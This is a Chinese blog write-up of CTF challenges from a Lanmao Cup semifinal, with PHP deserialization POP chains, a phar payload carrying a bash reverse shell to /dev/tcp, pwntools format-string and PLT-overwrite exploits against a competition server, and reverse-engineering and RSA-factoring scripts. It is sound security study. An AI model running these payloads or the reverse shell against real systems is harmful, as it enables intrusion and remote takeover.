Skip to content
Menu
0xdawn's blog
  • 首页
  • 关于我
  • 联系方式
0xdawn's blog
2021年6月8日2021年9月22日

第五届蓝帽杯半决赛 write up

蓝帽杯半决赛中西部赛区第一,资深0分老划水狗,writeup整理大师、office工程师0xdawn整理

Web

杰克与肉丝

考察:php pop的寻找,直接跟着魔法函数去找。

//源代码
<?php
highlight_file(__file__);
class Jack
{
    private $action;
    function __set($a, $b)
    {
        $b->$a();
    }
}
class Love {
    public $var;//new Rose()
    function __call($a,$b)//在对象上下文中调用不可访问的方法时触发
    {
        $rose = $this->var;
        call_user_func($rose);
    }
    private function action(){
        echo "jack love rose";
    }

}
class Titanic{
    public $people;//new Jack();
    public $ship;//new Love();
    function __destruct(){

        $this->people->action=$this->ship;
    }
}
class Rose{
    public $var1;
    public $var2;
    function __invoke(){
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
            eval($this->var1);
        }
    }
}

pop入口Titanic类的__destruct方法然后,让$this->people为new Jack();然后让ack类的action属性为new Love()。因为Jack类的action变量的属性为private。所以会触发__set():用于将数据写入不可访问的属性之后调用Love()类让var为new Rose()并且触发__call()方法 在对象上下文中调用不可访问的方法时触发。之后就调用到Rose类,然后最后面的那个绕过之前考察过。使用 Exception类绕过

<?php
class Titanic{
    public $people;
    public $ship;
    function __construct(){
        $this->people = new Jack();
        $this->ship = new Love();
    }
}

class Love {

    public $var;
    function __construct(){
        $this->var = new Rose();
    }
}

class Jack
{
    private $action;
    function __set($a, $b)
    {
        $b->$a();
    }
}

class Rose {
    public $var1,$var2;
    public function __construct(){
        $cmd ='system("cat /flag");?>';
        $ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
        $this->var1 = $ex1;
        $this->var2 = $ex2;
    }
}

echo urlencode(serialize(new Titanic()));

不一样的web

F12发现部分源码

class Read{
    public $name;
    public function file_get()
    {
        $text = base64_encode(file_get_contents("lib.php"));
        echo $text;
    }

}
class Test{
    public $f;
    public function __construct($value){
        $this->f = $value;
    }

    public function __wakeup()
    {
        $func = $this->f;
        $func();
    }
}

image-20210604125710357

文件上传+Checkfile功能,一看就是phar,但只能执行无参数的函数,phpinfo无flag,用::去执行函数

<?php
class Test{
    public $f;
    public function __construct($value){
        $this->f = $value;
    }
}

@unlink("phar.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$A = new Test("Read::file_get");
echo serialize($A);
$phar->setMetadata($A);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

拿到lib.php

<?php
error_reporting(0);
class Modifier{
    public $old_id;
    public $new_id;
    public $p_id;
    public function __construct(){
        $this->old_id = "1";
        $this->new_id = arrya();
        $this->p_id = "1";
    }
    public function __get($value){
        $new_id = $value;
        $this->old_id = random_bytes(16);
        if($this->old_id===$this->new_id){
            system($this->p_id);
        }
    }
}
class Read{
    public function file_get()
    {
        $text = base64_encode(file_get_contents("lib.php"));
        echo $text;
    }

}
class Files{
    public $filename;
    public function __construct($filename){
        $this->filename = $this->FilesWaf($filename);
    }
    public function __wakeup(){
        $this->FilesWaf($this->filename);
    }
    public function __toString(){
        return $this->filename;
    }
    public function __destruct(){
        echo "Your file is ".$this->FilesWaf($this->filename).".</br>";

    }
    public function FilesWaf($name){
        if(stristr($name, "/")!==False){
            return "index.php";
        }
        return $name;
    }
}
class Test{
    public $f;
    public function __construct($value){
        $this->f = $value;
    }

    public function __wakeup()
    {
        $func = $this->f;
        $func();
    }
}
class User{
    public $name;
    public $profile;
    public function __construct($name){
        $this->name = $this->UserWaf($name);
        $this->profile = "I am admin.";
    }
    public function __wakeup(){
        $this->UserWaf($this->name);
    }
    public function __toString(){
        return $this->profile->name;
    }
    public function __destruct(){
        echo "Hello ".$this->UserWaf($this->name).".</br>";

    }
    public function UserWaf($name){
        if(strlen($name)>10){
            return "admin";
        }
        if(!preg_match("/[a-f0-9]/iu",$name)){
            return "admin";
        }
        return $name;
    }
}

pop链

执行__toString

image-20210604130612730

执行__get

image-20210604130630495

但是random_bytes需要绕一下

image-20210604130724080

本地测一下,可以用指针

poc

<?php
class Modifier{
    public $old_id;
    public $new_id ;
    public $p_id = "bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'";
}
class Files{
    public $filename;
}
class User{
    public $name;
    public $profile;
}
@unlink("phar.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

$p1 = new User;
$p2 = new User;
$p1->name = $p2;
$p3 = new Modifier;
$p2->profile = $p3;
$p3->new_id = &$p3->old_id;
// echo serialize($p1);

$phar->setMetadata($p1);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

队友直接bash -i没有弹出来,这里需要套bash -c才行(貌似是文件描述符之类的问题,套bash -c是个好习惯)

反弹shell后发现读flag没权限,在根目录发现/game文件

逆一下

image-20210604130920217

拿到了password,之前读/etc/passwd有一个/home/flag用户,猜测这是它的密码,直接su flag

image-20210604131111681

Re

src_leak

读代码就是了。一个开平方,一个求1-10000之前的素数个数。

from math import *
count = 0

def isPrime(n):  
    if n <= 1:  
        return False 
    for i in range(2, int(sqrt(n)) + 1):  
        if n % i == 0:  
            return False 
    return True

for i in range(1, 10001):
    if isPrime(i):
        count += 1
x1 = pow(963, 2)
x2 = pow(4396, 2)
x3 = pow(6666, 2)
x4 = pow(1999, 2)
x5 = pow(3141, 2)

print("flag{%d-%d-%d-%d-%d-%d}"%(x1,x2,x3,x4,x5,count))
#flag{927369-19324816-44435556-3996001-9865881-1229}

py交易

给了一个pyc文件,但进行了混淆,直接使用diss去反汇编或者uncompyle6都是会失败的。

从报错找原因:

Traceback (most recent call last):
  File "test.py", line 5, in <module>
    dis.dis(code)
  File "/usr/lib/python2.7/dis.py", line 43, in dis
    disassemble(x)
  File "/usr/lib/python2.7/dis.py", line 64, in disassemble
    labels = findlabels(code)
  File "/usr/lib/python2.7/dis.py", line 166, in findlabels
    oparg = ord(code[i]) + ord(code[i+1])*256
IndexError: string index out of range

了解学习过diss模块,可以知道这个是因为diss反汇编时对参数解析造成的错误。

好在之前接触过这个方面,写过将那个混淆无用的代码nop的脚本,直接上,然后再diss模块再反汇编:

  1           0 JUMP_ABSOLUTE          670
              3 NOP                 
              4 NOP                 
              5 NOP                 
              6 NOP                 
              7 NOP                 
              8 NOP                 
              9 NOP                 
             10 NOP                 
             11 NOP                 

  3     >>   12 LOAD_FAST                0 (DIVIDER)
             15 COMPARE_OP               2 (==)
             18 POP_JUMP_IF_TRUE        39

  9          21 LOAD_CONST              19 (1860581437)
             24 LOAD_FAST                0 (DIVIDER)
             27 COMPARE_OP               2 (==)

 14          30 POP_JUMP_IF_TRUE        42
             33 LOAD_CONST              23 (3816944324L)
             36 JUMP_FORWARD           425 (to 464)

 17     >>   39 JUMP_FORWARD           472 (to 514)
        >>   42 JUMP_FORWARD           382 (to 427)
             45 NOP                 
             46 NOP                 
             47 NOP                 

 20          48 NOP                 
             49 NOP                 
             50 NOP                 
        >>   51 COMPARE_OP               2 (==)
             54 POP_JUMP_IF_TRUE        64

 38          57 LOAD_CONST              25 (None)
             60 RETURN_VALUE        
             61 NOP                 
             62 NOP                 
             63 NOP                 
        >>   64 JUMP_FORWARD            16 (to 83)
             67 NOP                 
             68 NOP                 
             69 NOP                 
             70 NOP                 
             71 NOP                 
             72 NOP                 
             73 NOP                 
             74 NOP                 
             75 NOP                 
        >>   76 CALL_FUNCTION            1
             79 JUMP_ABSOLUTE          107
        >>   82 RETURN_VALUE        
        >>   83 STORE_NAME               0 (sys)
             86 LOAD_CONST               2 (<code object str2hex at 0x7f975a931330, file "enc.py", line 3>)
             89 MAKE_FUNCTION            0
             92 STORE_NAME               1 (str2hex)
             95 LOAD_CONST               3 (<code object hex2str at 0x7f975a931630, file "enc.py", line 9>)
             98 JUMP_ABSOLUTE          110
        >>  101 STORE_NAME               3 (p_s)
            104 JUMP_FORWARD           145 (to 252)
        >>  107 JUMP_FORWARD           563 (to 673)
        >>  110 JUMP_FORWARD           274 (to 387)
            113 NOP                 
            114 NOP                 
            115 NOP                 
            116 NOP                 
            117 NOP                 
            118 NOP                 
            119 NOP                 
            120 NOP                 
        >>  121 JUMP_ABSOLUTE          148
        >>  124 LOAD_CONST              16 (4084147187L)
            127 STORE_FAST               0 (DIVIDER)
            130 JUMP_ABSOLUTE          151
        >>  133 LOAD_CONST              17 (3521152606L)
            136 STORE_FAST               0 (DIVIDER)
            139 JUMP_ABSOLUTE          154
        >>  142 LOAD_CONST              18 (651787064)
            145 JUMP_FORWARD            16 (to 164)
        >>  148 JUMP_FORWARD           360 (to 511)
        >>  151 JUMP_FORWARD           357 (to 511)
        >>  154 JUMP_FORWARD           354 (to 511)
            157 NOP                 
            158 NOP                 
            159 NOP                 
            160 NOP                 
            161 NOP                 
            162 NOP                 
            163 NOP                 
        >>  164 STORE_FAST               0 (DIVIDER)
            167 JUMP_ABSOLUTE          197
        >>  170 LOAD_CONST              19 (1860581437)
            173 STORE_FAST               0 (DIVIDER)
            176 JUMP_ABSOLUTE          200
        >>  179 LOAD_CONST              20 (2730391645L)
            182 STORE_FAST               0 (DIVIDER)
            185 JUMP_ABSOLUTE          203
        >>  188 LOAD_CONST              21 (2694209818L)
            191 STORE_FAST               0 (DIVIDER)
            194 JUMP_FORWARD           187 (to 384)
        >>  197 JUMP_FORWARD           311 (to 511)
        >>  200 JUMP_FORWARD           308 (to 511)
        >>  203 JUMP_FORWARD           305 (to 511)
            206 NOP                 
            207 NOP                 
            208 NOP                 
            209 NOP                 
            210 NOP                 
        >>  211 POP_JUMP_IF_TRUE       238
            214 LOAD_CONST              15 (3168701571L)
            217 LOAD_FAST                0 (DIVIDER)
            220 COMPARE_OP               2 (==)
            223 POP_JUMP_IF_TRUE       241
            226 LOAD_CONST              22 (3715947653L)
            229 LOAD_FAST                0 (DIVIDER)
            232 COMPARE_OP               2 (==)
            235 JUMP_FORWARD           361 (to 599)
        >>  238 JUMP_FORWARD            23 (to 264)
        >>  241 JUMP_FORWARD           195 (to 439)
            244 NOP                 
            245 NOP                 
            246 NOP                 
            247 NOP                 
            248 NOP                 
            249 NOP                 
            250 NOP                 
            251 NOP                 
        >>  252 LOAD_CONST               5 (<code object p_f at 0x7f975a9318b0, file "enc.py", line 17>)
            255 MAKE_FUNCTION            0
            258 STORE_NAME               4 (p_f)
            261 JUMP_ABSOLUTE          283
        >>  264 POP_TOP             
            265 LOAD_NAME                0 (sys)
            268 LOAD_ATTR                8 (stdin)
            271 LOAD_ATTR                9 (read)
            274 LOAD_CONST              12 (38)
            277 JUMP_ABSOLUTE          286
            280 NOP                 
            281 NOP                 
            282 NOP                 
        >>  283 JUMP_FORWARD           405 (to 691)
        >>  286 JUMP_ABSOLUTE          133
            289 NOP                 
            290 NOP                 
            291 NOP                 
            292 NOP                 
            293 NOP                 
            294 NOP                 
            295 NOP                 
            296 NOP                 
        >>  297 JUMP_ABSOLUTE          327
        >>  300 MAKE_FUNCTION            0
            303 STORE_NAME               2 (hex2str)
            306 LOAD_CONST               4 (<code object p_s at 0x7f975a931830, file "enc.py", line 14>)
            309 MAKE_FUNCTION            0
            312 JUMP_ABSOLUTE          330
        >>  315 LOAD_CONST              13 (4130330538L)
            318 LOAD_FAST                0 (DIVIDER)
            321 COMPARE_OP               2 (==)
            324 JUMP_ABSOLUTE          211
        >>  327 JUMP_ABSOLUTE          124
        >>  330 JUMP_ABSOLUTE          142
            333 NOP                 
            334 NOP                 
            335 NOP                 
            336 NOP                 
            337 NOP                 
            338 NOP                 
            339 NOP                 
        >>  340 LOAD_CONST               1 (None)
            343 JUMP_ABSOLUTE          370
        >>  346 CALL_FUNCTION            1
            349 STORE_NAME              10 (flag)
            352 LOAD_NAME                5 (count)
            355 LOAD_NAME                1 (str2hex)
            358 JUMP_ABSOLUTE          373
        >>  361 BUILD_LIST               5
            364 CALL_FUNCTION            1
            367 JUMP_ABSOLUTE           76
        >>  370 JUMP_FORWARD            23 (to 396)
        >>  373 JUMP_FORWARD            29 (to 405)
            376 NOP                 
            377 NOP                 
            378 NOP                 
            379 NOP                 
            380 NOP                 
            381 NOP                 
            382 NOP                 
            383 NOP                 
        >>  384 JUMP_ABSOLUTE          414
        >>  387 LOAD_CONST              22 (3715947653L)
            390 STORE_FAST               0 (DIVIDER)
            393 JUMP_ABSOLUTE          417
        >>  396 LOAD_CONST              23 (3816944324L)
            399 STORE_FAST               0 (DIVIDER)
            402 JUMP_ABSOLUTE          420
        >>  405 LOAD_CONST              24 (394367122)
            408 STORE_FAST               0 (DIVIDER)
            411 JUMP_FORWARD            94 (to 508)
        >>  414 JUMP_FORWARD            94 (to 511)
        >>  417 JUMP_FORWARD            91 (to 511)
        >>  420 JUMP_FORWARD            88 (to 511)
            423 NOP                 
            424 NOP                 
            425 NOP                 
            426 NOP                 
        >>  427 LOAD_CONST               9 (97)
            430 LOAD_CONST              10 (103)
            433 LOAD_CONST              11 (58)
            436 JUMP_ABSOLUTE          454
        >>  439 LOAD_CONST               6 (<code object count at 0x7f975a9319b0, file "enc.py", line 20>)
            442 MAKE_FUNCTION            0
            445 STORE_NAME               5 (count)
            448 LOAD_NAME                0 (sys)
            451 JUMP_ABSOLUTE          297
        >>  454 JUMP_ABSOLUTE          179
            457 NOP                 
            458 NOP                 
            459 NOP                 
            460 NOP                 
            461 NOP                 
            462 NOP                 
            463 NOP                 
        >>  464 LOAD_FAST                0 (DIVIDER)
            467 COMPARE_OP               2 (==)
            470 POP_JUMP_IF_TRUE       494
            473 LOAD_CONST              24 (394367122)
            476 LOAD_FAST                0 (DIVIDER)
            479 COMPARE_OP               2 (==)
            482 POP_JUMP_IF_TRUE       497
            485 LOAD_CONST              14 (1627830889)
            488 LOAD_FAST                0 (DIVIDER)
            491 JUMP_ABSOLUTE           51
        >>  494 JUMP_ABSOLUTE           82
        >>  497 JUMP_FORWARD           148 (to 648)
            500 NOP                 
            501 NOP                 
            502 NOP                 
            503 NOP                 
            504 NOP                 
            505 NOP                 
            506 NOP                 
            507 NOP                 
        >>  508 JUMP_ABSOLUTE          535
        >>  511 JUMP_FORWARD            24 (to 538)
        >>  514 LOAD_ATTR                6 (stdout)
            517 LOAD_ATTR                7 (write)
            520 LOAD_NAME                2 (hex2str)
            523 LOAD_CONST               7 (102)
            526 LOAD_CONST               8 (108)
            529 JUMP_ABSOLUTE          541
            532 NOP                 
            533 NOP                 
            534 NOP                 
        >>  535 JUMP_ABSOLUTE          511
        >>  538 JUMP_ABSOLUTE          315
        >>  541 JUMP_ABSOLUTE          170
            544 NOP                 
            545 NOP                 
            546 NOP                 
            547 NOP                 
            548 NOP                 
            549 NOP                 
            550 NOP                 
            551 NOP                 
        >>  552 POP_JUMP_IF_TRUE       585
            555 LOAD_CONST              17 (3521152606L)
            558 LOAD_FAST                0 (DIVIDER)
            561 COMPARE_OP               2 (==)
            564 POP_JUMP_IF_TRUE       588
            567 LOAD_CONST              20 (2730391645L)
            570 LOAD_FAST                0 (DIVIDER)
            573 COMPARE_OP               2 (==)
            576 POP_JUMP_IF_TRUE       591
            579 LOAD_CONST              16 (4084147187L)
            582 JUMP_ABSOLUTE           12
        >>  585 JUMP_ABSOLUTE          101
        >>  588 JUMP_ABSOLUTE          346
        >>  591 JUMP_ABSOLUTE          361
            594 NOP                 
            595 NOP                 
            596 NOP                 
            597 NOP                 
            598 NOP                 
        >>  599 POP_JUMP_IF_TRUE       626
            602 LOAD_CONST              21 (2694209818L)
            605 LOAD_FAST                0 (DIVIDER)
            608 COMPARE_OP               2 (==)
            611 POP_JUMP_IF_TRUE       629
            614 LOAD_CONST              18 (651787064)
            617 LOAD_FAST                0 (DIVIDER)
            620 COMPARE_OP               2 (==)
            623 JUMP_ABSOLUTE          552
        >>  626 JUMP_ABSOLUTE          300
        >>  629 JUMP_FORWARD             4 (to 636)
            632 NOP                 
            633 NOP                 
            634 NOP                 
            635 NOP                 
        >>  636 LOAD_CONST               0 (-1)
            639 LOAD_CONST               1 (None)
            642 IMPORT_NAME              0 (sys)
            645 JUMP_ABSOLUTE          661
        >>  648 LOAD_NAME               10 (flag)
            651 CALL_FUNCTION            1
            654 CALL_FUNCTION            1
            657 POP_TOP             
            658 JUMP_ABSOLUTE          340
        >>  661 JUMP_FORWARD            18 (to 682)
            664 NOP                 
            665 NOP                 
            666 NOP                 
            667 NOP                 
            668 NOP                 
            669 NOP                 
        >>  670 JUMP_FORWARD            27 (to 700)
        >>  673 LOAD_CONST              13 (4130330538L)
            676 STORE_FAST               0 (DIVIDER)
            679 JUMP_ABSOLUTE          703
        >>  682 LOAD_CONST              14 (1627830889)
            685 STORE_FAST               0 (DIVIDER)
            688 JUMP_ABSOLUTE          706
        >>  691 LOAD_CONST              15 (3168701571L)
            694 STORE_FAST               0 (DIVIDER)
            697 JUMP_ABSOLUTE          121
        >>  700 JUMP_ABSOLUTE          188
        >>  703 JUMP_ABSOLUTE          511
        >>  706 JUMP_ABSOLUTE          511
            709 NOP                 
            710 NOP                 
            711 NOP                 
            712 NOP

硬看!看了好一会儿,有点恶心。。。

算法大概能看出来,但操作的数据不好整理出来,然后就是想办法,找资料,反编译,去除混淆,还真有现成的资料。

去混淆后,反编译后发现算法和我读反汇编的一样。

其实就是一个将输入进行乘法和一些加法操作。

ans = input*input*a + input*b + c

最后穷举解密:

a = [13433, 4747, 17752, 33060, 31051, 48809, 29988, 6421, 20021, 38888, 24844, 20706, 11713, 34938, 12865, 6085, 37391, 32840, 31964, 27194, 8701, 48142, 27066, 28626, 37431, 39142, 46795, 21771, 44280, 40628, 35013, 18583, 5418, 4347, 43929, 9934, 46892, 19868]
b = [13711, 7074, 79833, 42654, 23241, 41412, 61795, 6373, 19304, 1363, 1682, 66279, 76134, 60748, 10355, 63484, 30491, 34005, 51393, 38029, 7241, 4998, 18562, 16935, 66677, 51321, 13771, 49108, 52166, 8851, 16900, 31682, 16684, 12046, 16764, 64315, 76742, 14022]
c = [832832835, -924053193, -307134635, -527578092, 998625960, -715102211, 3572182, -963194083, -475718185, -361574731, -678171563, 107566155, 608670527, 254218946, -81206308, -284228457, 373369420, 659110852, 165298084, -389004184, 893094421, -868933443, 44838205, -98551062, -59800920, -575871298, -748337118, 696390966, 427210246, -266607884, -555200820, -594235119, -233255094, 229291711, 711922719, 14476464, -783373820, 892608580]

e = [973988289, -867920193, -132362266, -172451190, 1471255182, -242282199, 321870424, -897049789, -428663209, -256350703, -613466537, 321254055, 641759727, 344601346, -40281788, -217030057, 476060216, 767746297, 503093626, -102198850, 984358207, -415480559, 322813233, 178032672, 48876640, -467362638, -260077296, 923436845, 536082660, -138702820, -210365307, -397666023, -215329942, 274852104, 818217684, 41479433, -632022956, 1204798830]

flag = ''

for j in range(38):
    for i in range(32, 127):
        if i*i*a[j]+b[j]*i+c[j] == e[j]:
            flag += chr(i)
            break
print(flag)
#flag{bfe043d228d49fffaeb54fe18cf8e118}

pwn

cover

checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没有开启pie,分析main函数中,存在但个字节溢出到v2,且可以实现向任意地址覆盖单个字节,我们只需把puts函数中plt位置的单字节修改指令跳转到system。下次输入调用puts就输入'sh\x00'即可获得shell。

#!/usr/bin/env python2
# Cover Scirpt
from pwn import *

elf = ELF('./pwn')
#sh = elf.process()
sh = remote('118.190.62.234', 12435)

payload = p32(elf.plt['puts'] + 2) + '\x24'
sh.send(payload)
#gdb.attach(sh)
# Get shell
sh.sendline('sh\x00')

sh.interactive()

hangman

checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

字符串漏洞的利用,通过该漏洞改写main函数的返回地址为OneGadget。

#! /usr/bin/python2
from pwn import *
context.log_level = 'debug'
#sh = process('./pwn', env = {'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('118.190.62.234', 33445)
libc = ELF('./libc-2.23.so')

def leak_libc():
    p = '%19$p'
    sh.sendlineafter(':', p)
    sh.sendlineafter(':', p)
    # Leak LIBC BASE
    sh.recvuntil('0x')
    leak = int(sh.recv(12), 16)
    libc_base = leak - libc.sym['_IO_2_1_stdout_']
    print('leak: ' + hex(leak))
    print('libc_base: ' + hex(libc_base))
    return libc_base

# Leak Stack Address
def leak_stack():
    p = '%24$p'
    sh.sendlineafter(':', p)
    sh.sendlineafter(':', p)

    sh.recvuntil('0x')
    stack = int(sh.recv(12), 16) + 8
    print('stack: ' + hex(stack))
    #sh.recvuntil('word:')
    return stack

libc_base = leak_libc()
stack = leak_stack()
sh.recvuntil('win!')
offset = 12
c1 = (libc_base + 0xf1247) & 0xff
s = '%' + str((libc_base + 0xf1247) & 0xff) + 'c%14$hhnA'
p = s
p += '\x00' * 4
p += p64(stack)

sh.sendlineafter('word:', p)

p = ''.join(set(s))
#print('payload: ' + p)
#print('unique: ' + p)
sh.sendlineafter(':', p)

c2 = ((libc_base + 0xf1247) >> 8) & 0xFFFF
s = '%' + str(c2) + 'c%14$hn'
p = s
p += '\x00' * 3
p += p64(stack + 1)
sh.sendlineafter('word:', p)
p = ''.join(set(s))
#gdb.attach(sh)
sh.sendlineafter(':', p)

sh.interactive()

Crypto

sm

题中给出了被修改了n的公钥,通过openssl读出e和fake_n

根据p的生成原理可以知道两个素数都光滑,于是考虑Pollard's p − 1分解n

#!/usr/bin/python2
from pwn import *
import binascii
from Crypto.Util.number import bytes_to_long,long_to_bytes
import gmpy2

context.log_level = 'debug'

ip = '118.190.62.234'
port = 61139
r = remote(ip,port)

from pwn import pwnlib
from pwnlib.util.iters import mbruteforce
import hashlib 
import string

table = string.ascii_letters + string.digits
r.recvuntil('XXXX+')
st = r.recvuntil(')')[:-1]
r.recvuntil(' == ')
ciphier = r.recvuntil('G')[:-2]
def f(res):
    tmp = res + st 
    tmp = hashlib.sha256(tmp).hexdigest()
    if tmp == ciphier:
        return True

res = mbruteforce(f,table,4,method='fixed')
r.sendline(res)

# ----------
m1 = b'02'
m2 = b'04'
m3 = b'08'

# ------------
r.recvuntil('Enter option > ')
r.sendline('1')
r.recvuntil('Enter your plaintext in hex > ')
r.sendline(m1)
r.recvline()
n1 = '0x' + r.recvline().strip()
n1 = int(n1,16)

# ------------
r.recvuntil('Enter option > ')
r.sendline('1')
r.recvuntil('Enter your plaintext in hex > ')
r.sendline(m2)
r.recvline()
n2 = '0x' + r.recvline().strip()
n2 = int(n2,16)

# ------------
r.recvuntil('Enter option > ')
r.sendline('1')
r.recvuntil('Enter your plaintext in hex > ')
r.sendline(m3)
r.recvline()
n3 = '0x' + r.recvline().strip()
n3 = int(n3,16)

# ------------
N=gmpy2.gcd(n1*n1-n2,n1*n1*n1-n3)
r.close()
def Pollards_p_1(N):
    a = 2
    n = 2
    while True:
        a = pow(a, n, N)
        res = gmpy2.gcd(a-1, N)
        if res != 1 and res != N:
            print 'n =', n
            print 'p =', res
            return res
        n += 1

n = 10692664679893739061346624963756238326909832986911746671432177977106803747834808482664745066503767659342297985398473672934784214154083982701378892833624959949381593211919420949003713490334711964701876174075490998238639603875932591934027218071278526995196688532809816282613164879439054064395793103540418492601028819750817898231215515490781342362667217521611006486460470021774355363986660297005486140235347671147357347288429551570802373902314351315203691963871248380238591559213114056614371235371632060733799353705032408294405889554859476139483322273931964592871077343201918116296915049134397709997524443709019832884220802486622148127987276341842100859233579597766831078061591735155348141665023151980626921512388513676299779091204193339220987799602731968274328056958108046444484197044587876571576648161905099526406757618769384516494063549805092383328953214018195122332164730563740664245705722818506815008751691569465550951862660691258739370213781878542487435891666566514414160543282396596969430691853935887802828041224909086447462208206244058569311336469455693550763462023232696617101031002302783846517806558340968291885996058813639594795019464746186634849088956261950519343976570981323926159821885608523334734068893605509523992806520200051013
q = Pollards_p_1(n)
p = n // q
assert p*q == n
c = 0x17bb4730ef3ba7591d5ac5aba56596ea7bb5b3cac908375fed01f827a4ad246457bcf4f67be416126bc421b2ec813aca9ebed52c36734be35fd39fd450bd11831f833053743c7822094bf295d17984380d062764f31c8e8725255eec779d375ec82b76b6d8956107264fd9550d0f7407ad6531bbbc79af22cb85191171e0a79c137f180d9376cce93e9a17fb1d7ba985150f73b8d67be7e47c72bf607aa274369aaaa230078eca1bf4daa0326d46b682b1d94c651946417f7f254c1b6531df833deca73b81d9cf026c5038c8021d31fee10efb4a1f041d9180b7b489a9ce0ea12f82c67529c9088f72e84de35aa48ebfd67e7a8fcaf01b07a937bbeeab578710495abcc80f8a2a57a84d5b76e54cd58d160f6e289bf4848b9b87c7b94164fd11b3dca467074a71e02ed9ea72db34915e1276c48339ef6f4c4a9e971e69041117b6a1f2502a475dfbba83b1c61d1b7e427c0de5132f82b73b0ba839bfe4ad93cb8768596d67aa2dfb873a7589d38a89cae70203e9fdbcd2497adf563480ad03163c96be553ba5f72ad2d57358acd9ebeeb00b2a023f5a9406b5549082a618e43773b903d501bd6aab795362dc49024c2a6a17ba33d13731aea574941766dd1a52c3f3d48f9e26901d4e1c3031ba1cd63c5078bc51d3b0f310236d3d2b9e8a9fa4fa01567293e02ef22dea9d3744924f46e5f16f25ad800f3fa93a5f4c4b58c68bbac1
e = 12738859322882260979
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
flag = long_to_bytes(gmpy2.powmod(c,d,n))
print(flag)

  有时候,禁锢我们的,不是环境设下的牢笼,不是他人施与的压力,而是我们自己把自己局限在狭隘的空间里,在无端中迷失了自我.

云烟成雨

https://www.0xdawn.cn/wp-content/uploads/2019/11/房东的猫-云烟成雨.mp3

文章检索

分类

  • CTF
  • 代码审计
  • 学习笔记
  • 渗透测试
  • 漏洞演练

近期文章

  • 2021长城杯 Write up by D0g3
  • 2021网刃杯 write up
  • 2021羊城杯 Web Write up
  • 第五届蓝帽杯总决赛 write up
  • 第五届强网杯Web部分 write up

归档

联系我们

地址
成都信息工程大学

Email
yan@0xdawn.cn

QQ
1115230222

©2022 0xdawn's blog | Powered by WordPress and Superb Themes!